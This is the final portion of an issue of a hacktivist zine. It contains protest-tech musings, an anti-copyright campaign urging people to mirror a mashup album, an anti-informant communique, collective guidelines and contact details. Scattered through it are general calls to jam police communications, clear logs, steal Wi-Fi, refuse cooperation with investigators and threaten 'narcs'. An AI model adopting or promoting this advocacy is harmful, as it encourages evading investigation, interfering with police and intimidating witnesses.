react, how fast they respond to changes in the routes. If they manage to
surround part of the group make note of where they did it, directions of
traffic, which way they came from, numbers... etc. Keep this information in
mind the next time your on the street. The more we know the more effective we
can be!
Technologically Enhanced Protesting leaves more room open for innovation than
perhaps any other form of protest to date. Many other more advanced tactics
than can be covered in the scope of this article could be available to someone
with a little technical training. For example, building a cell phone jammer to
stop police cell phone communication, or alternatively a radio jammer. There
has also been research into replicating ambulance strobe lights to affect the
state of a traffic light. TEP can expand as new inventions and innovations are
discovered; and can be the one thing to give us a one up on the police in all
protest situations. By combining the ingenuity and curiosity of hackers with
the passion and urgency of direct action protesters we can be unstoppable.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
cott the emi - mirror sg
emi - mirror sgt petsounds - drop
irror sgt pets the lawsuit -
petsounds cott the emi
- drop t lawsu irror sgt
lawsuit oycott nds - dr
boycott mi - mirror sgt petsound lawsuit
he emi - r sgt petsounds - drop the lawsu cott t
ror sg nds - drop the lawsuit - boycott t mirro
tsound lawsu - boycott the emi - mirro petsou
op the oycott emi - mirror sgt petsound op the
suit - mi - m sgt pets the it - b
tt the sgt pe s - dro pirate the - boy he emi
mirro s - dr awsui planet! e emi ror sg
pets lawsu cott th ror sg ounds
drop oycott - mirror sgt petsounds the l
suit mi - m gt petsounds - drop the l - boy
tt t sgt pe s - drop the lawsuit - boy emi
mir s - dr he lawsuit - boycott the e ror sg
pets lawsu - boycott the emi - mirro ounds
drop oycott the emi - mirror sgt pe the l
suit mi - mirror sgt petsound - boy
tt the sgt petsounds he em
mirro s - drop irror
tsound lawsu tsound
op the l oyco drop th
- boy mi - awsuit -
emi - sg cott t
r sgt pe s mi - mi
s - drop ror sgt p
awsuit - tsounds -
tt the emi - drop the l
ror sgt petsound op the lawsuit -
nds - drop the lawsuit - boycott
suit - boycott the emi
# #
######################### pirate_the_planet; ########################
# #
# DROP THE LAWSUIT - BOYCOTT THE EMI - MIRROR SGT PETSOUNDS #
# an anti-copyright act of electronic civil disobedience #
# #
#####################################################################
cout << "
Quantity and quality of P2P technologies act[0]="the story";
are inversely proportional to the numbers act[1]="the files";
of lawsuits issued to stop P2P act[2]="the action";
";
As hackers and pirates, we have no respect for copyright laws which try to
suppress free expression and creativity.
// act 0: the story
"EMI wants millions and your IP address in revenge for Beachles"
The producer of a mashup album that combined the Beach Boys' Pet Sounds and the
Beatles' Sgt. Pepper's Lonely Hearts Club band has been threatened with a multi
-million-dollar lawsuit by EMI, the Beatles' music publisher. EMI has also
demanded that he turn over the IP addresses of the hundreds of thousands of
people who downloaded the mash-ups, presumably so that EMI can sue all of us,
too.
http://www.claytoncounts.com/blog/the-beachles
<snip>
Demand is accordingly made that you immediately and permanently:
(a) cease and desist from the manufacture, sale, offering for sale, offering
for download/streaming, and/or other reproduction and distribution of the
Beachles Mash-Up Recordings and the Other Mash-Up Recordings as well as any
other unauthorized uses of the Capitol Recordings and/or other sound recordings
owned and/or controlled by Capitol;
(b) cease and desist from the manufacture, sale, offering for sale, offering
for download, and/or other reproduction and distribution of the Infringing
Artwork as well as any other unauthorized uses of the Beatles Artwork, the Beach
Boys Artwork, and/or other artwork owned and/or controlled by Capitol;
(c) provide Capitol with information regarding downloading and/or streaming of
the Beachles Mash-Up Recordings and the Other Mash-Up Recordings to date,
including but not limited to: (i) the dates on which those recordings were
streamed and/or downloaded; (ii) the number of times those recordings were
streamed and/or downloaded; and (iii) any and all available information
regarding persons who streamed and/or downloaded those recordings;
</snip>
On recent years, EMI has threatened similar suits against DJ Danger Mouse for
The Grey Album, which combined The Beatles, or "The White Album," with rapper
Jay-Z's Black Album, and against djBC for his Beastles mashup, which mixed the
"Fab Four" with the Beastie Boys.
// act I: the files
"Quantity and quality of P2P technologies are inversely proportional
to the numbers of lawsuits issued to stop P2P"
3rd Monty's Law
Although clayton removed the files off of his server, the mp3s are freely
available on the internet through a variety of mirrors and file sharing services.
http://isohunt.com/ http://thepiratebay.org/ http://piratenova.org/
http://mininova.org/ http://meganova.org/ http://torrentspy.com/
http://oink.me.uk/
01. Wouldnt Sgt Petsound Be Nice.mp3
02. You Still Believe in My Friends.mp3
03. Thats Not Lucy.mp3
04. Dont Talk (Get Better).mp3
05. Im Fixing It, Dayhole.mp3
06. Shes Going Away for Awhile.mp3
07. Being for the Benefit of Sloop John B.mp3
08. God Only Knows What Id Be Within You.mp3
09. I Know Therere Sixty Four Answers.mp3
10. Today, Rita.mp3
11. I Just Wasnt Made for Good Mornings.mp3
12. Sgt Petsounds Lonely Hearts Club Band (Reprieve).mp3
13. A Day in the Life of Caroline.mp3
14. Runout Groove.mp3
DOWNLOAD + MIRROR NEW CLAYTON COUNTS TRACK : "FUCK THE EMI"
http://claytoncounts.com/mixes/Fuck%20EMI%20Megamix.mp3
Copyright is supposed to protect expression and encourage creativity. EMI is
using copyright to suppress both. They are censors and thugs.
let them know how you feel...
email to --> EMIUSLegal@emicap.com
snail mail to --> EMI Group plc
27 Wrights Lane
London W8 5SW
"If you care at all about freedom of thought, freedom of expression, or your
digital rights, please take the time to write letters to any and every news
outlet regarding this case. It's never too late to show these guys what we're
made of, and we're just getting started!"
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
# #
# communique from the hackbloc collective #
# sellouts are a danger to the hacker community; #
# rm all narcs before they narc on you! #
# #
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Time to face a blunt reality: federal investigators are targeting hackers and
activists. They have an army of confidential informants out there logging IRC
channels, reading your emails, and trying to be your friend. And most of those
informants used to be hackers just like you. The feds have all the cards stacked
in their favor and need no any additional help in busting anybody, so think
twice before you become a narc. Karma will have it's way and one day you will be
narced on yourself. So before we are divided and conquered, it's time to learn
the risks involved and how to protect ourselves from unjust legal prosecution.
No matter how much effort you put into your getaway plan, all of it will be
wasted if there is a weak link in the chain of trust. Most people who have been
busted will tell you: most investigations and convictions happen because someone
sold you out. Whether it's your hosting company, your vigilante neighbor, or
even your closest hacking buddy; you never know who will crack when the feds
come knocking. The more people you include in your secret the plans the greater
chance that someone will cave under pressure and sell you out.
So before you even consider getting involved with any group or action, know
EXACTLY where everybody stands before you work with them, because you need to
know that if shit goes down they will have your back. What would YOU do if feds
bust down your door, start seizing equipment, and demand your cooperation under
threat of arrest?
Know your rights: you do not have to talk to law enforcement under any
circumstances, no matter how much they tell you it is for your own good.
Anything you say to them will almost certainly come back to haunt you and
others. If they are going to prosecute you, then let it happen based on whatever
evidence or testimony they already have: don't help them with a confession, or
by shifting the blame to the next poor soul who will get raided because of your
statements. The more you open your mouth the more you risk your safety and
everyone you work with. The ONLY thing you can tell them is "I will not talk
until I have my attorney present".
You can ask anyone who has narced or been narced on in the past: it never helps
and only hurts. Not just the person who is turned in but the person who does the
talking is equally incriminated. The feds will promise you anything in order to
get you to talk, but when it comes down to it, they are not your friends and are
just as likely to prosecute you as well.
As a policy, we will not tolerate people who defend narcing or selling out in
our collectives. It is not our role in the game to be the eyes and ears of the
FBI. We encourage hackers to learn the law before they play the game and to
unite and defend each other, especially when someone gets busted.
The best hackers are invisible: they make no noise when they move in and out of
your networks. They know exactly the right time to strike, and they know when to
quit when they are ahead. They know when it's time to abandon ship and start a
new identity again. And they know that when someone is narced on, shit's gotta
burn.
Become a ghost: clear logs, use bounce boxes and onion routing, steal wireless
internet, leave no trails, don't snitch, don't attract unnecessary attention,
and rm all white hats and snitchs. Stay strong and watch each other's back.
Hacktivists of the world, unite!
http://www.hackthissite.org
http://www.hackbloc.org
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
################################################################################
HACK THIS SITE COLLECTIVE ORGANIZING PROCESS AND GUIDELINES
################################################################################
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
As long as we continue to embrace the open and democratic principles that this
site was founded on, the site should live on for years as an ever-changing
collective to meet the needs of the next stages of the project.
The purpose of the collective is to maintain the HTS website, server, and IRC to
maintain a friendly and productive community in order create space to involve
others in working collaboratively on group projects or sub-collectives.
There are several inherent needs of the project which must be fulfilled:
* coordinating and management - communicating with other developers, handling
issues such as money, distributing access, outreach and publicity
* system administration - for maintaining the flow of services, creating and
distributing access, security and backups
* development - fixing maintaining and adding features to the HTS site, working
on side coding projects involving access on the hts server
* irc administration - encouraging positive enlightened discussion and debate
while discouraging abusive drama, being a neutral and unifying mediator for
issues when they come up, relations with other irc networks (although forums can
have a different staff, the philosophy towards moderation should be the same)
There are also many other HTS related projects which while under the HTS banner
may not necessarily need access to the HTS server, or be considered part of HTS
'staff'.
Everyone is welcome to participate in the project on staff if they have the
required skills, is available to communicate with other members over IRC, and
observes the staff guidelines. Guidelines are designed to maintain a friendly
and positive community by treating both users and other collective members alike
with respect and autonomy. They are as such:
* Practice proper security culture (no bragging about or naming anybody who may
be involved questionable activities, no turning over evidence to law
enforcement, no releasing private data on users or other collective members)
* No abuse - although we realize that often times users provoke staff members
because of personal drama or simply because they are staff, staff members
should practice the highest level of self discipline and enlightenment and not
let personal drama affect their staff positions. We encourage people to resolve
their personal differences peacefully through discussion or /ignoring without
having to resort to using staff or op privileges to settle their differences.
* Do not stand in the way of or actively try to sabotage other projects being
worked on by staff members or the larger community. Not everyone is required to
agree with the intentions of every project, but they do have to respect the
autonomy of those involved, and not badmouth or sabotage other people's works.
Although we discourage talk of or participation in illegal activities on our
servers or communities (in order to protect our above ground site and
community), we understand that not everyone will always live up to these
standards. In these situations, we can advise them to take said activities to
other systems so that HTS as a whole is not liable for anyone's individual
activities. However, it is not our job to play the eyes and ears of law
enforcement, and as a result, we will never turn anybody in or hand over any
evidence against any user or staff member.
--
Remember, the project was started with the spirit of community and collective
participation. All major decisions should involve both staff and the larger
community in the decision making process. Staff members are not above other
users in any way, and users have just as much of a right as those in staff.
Anyone is free to apply for a development position, and there is no ultimate
leader who "has the final word".
--
FREE PACIFICO!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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Zine Staff / Credits / Greetz
HackThisZine Issue #5 -- Squat The Net!
ZINE STAFF Ultra-1337 Hack Bloc Staff
------------- ------------ -----------------
Sally pacifico evoltech
flatline Lockdown TheMightyOwl
Nomenumbra flatline flatline
evoltech kussik Hexbomber
whooka r0xes whooka
alxCIAda sally
LN
Lockdown
rugrat
alxCIAda
Contributers / Thanks: Annalee Newitz, the great folks at microcosm publishing
(microcosmpublishing.com) everyone who submitted a article (if it didn't get
used this time it will next issue!)
<3 greetz goes out to the freed sagada 11 members <3
<3 pacifico will miss you all while he is locked up <3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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Network of Projects
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
We are an independent collective of creative hackers, crackers, artists and
anarchists. We gather to share skills and work together on several projects to
teach and mobilize people about vulnerability research, practical anarchy, and
how free technology can build a free society. We are an open, free flowing, and
ever changing collective which generally works on IRC. Everyone is encouraged to
explore and contribute to the group and it's related projects.
hackbloc.org
Hack Blocs are local groups and gatherings where hackers and activists gather to
discuss and share skills, and collaborate on projects related to free technology
open source, tech activism, and more. We work to defend a free internet and a
free society by mixing hacker and activist strategies to explore both defensive
and direct action hacktivism. Each local group is autonomous and together we
form a decentralized network to collaborate and coordinate actions in solidarity
with other social justice struggles around the world.
hackthissite.org
Hack this site is a free and legal training ground that allows people to test
their security skills against a series of realistic hacking challenges. we
provide a friendly environment for people to get involved with programming and
internet security by collaborating with other coders and hackers.
disrespectcopyrights.net
An open collection of anti-copyright images, pdfs, texts, movies, music, and
more! All kinds of files related to programming, hacking, zines, DIY culture,
and activism. The system is integrated into a mediawiki site and also allows
people to upload files and build the archive.
Free Shit Project -!- (freeshit.hackbloc.org)
A system to show local resources form free food to medical care and other
resources you can use, current cities include Chicago and The San Francisco Bay
area. The site is set up so users can submit listings they know of in these two
areas. We hope to expand the project so users can setup free shit projects in
their areas, besides the two already setup!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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Contact us!
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Questions? Comments? Article submissions? Get a hold of us at:
e-mail
hackbloc at gmail dot com
irc.hackthissite.org SSL port 7000
#hackbloc #hackthissite #help
Visit our online forums @
www.hackbloc.org/forums/
www.criticalsecurity.net
Snail Mail Address:
P.O. Box 190471
San Francisco, CA 94119
(Send monies!!!)
--> GET COPIES OF THE ZINE! <--
Electronic copies of the zine are available for free online at the hackbloc
website (www.hackbloc.org/zine/). There are two versions of the zine: a full
color graphical PDF version which is best for printing and also includes all
sorts of extras, as well as a raw TXT version for a more readable and compatible
format.
Having the zine in your hands is still the best way to experience our zine. If
you can't print your own(double sided 8.5x11) then you can order copies of this
issue and all back issues online at the nice fellows at Microcosm Publishing
(microcosmpublishing.com) who are based out of Portland. If you live in The San
Francisico Bay area, you can find us at the SF Anarchist Bookfair in march 2007.
More info will be found on our site closer to the time of the event!
We are seeking translators to translate Hack This Zine into other languages, if
are interested send an email to hackbloc@gmail.com
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
build an alternative internet - make mashups of commercial music - start a
pirate radio station - learn as much as you can - dont snitch - support your
community - watch eachothers back - start a free shit project for your area -
help out with local food not bombs - use onion routing and bounce boxes - don't
snitch! - dumpster everything
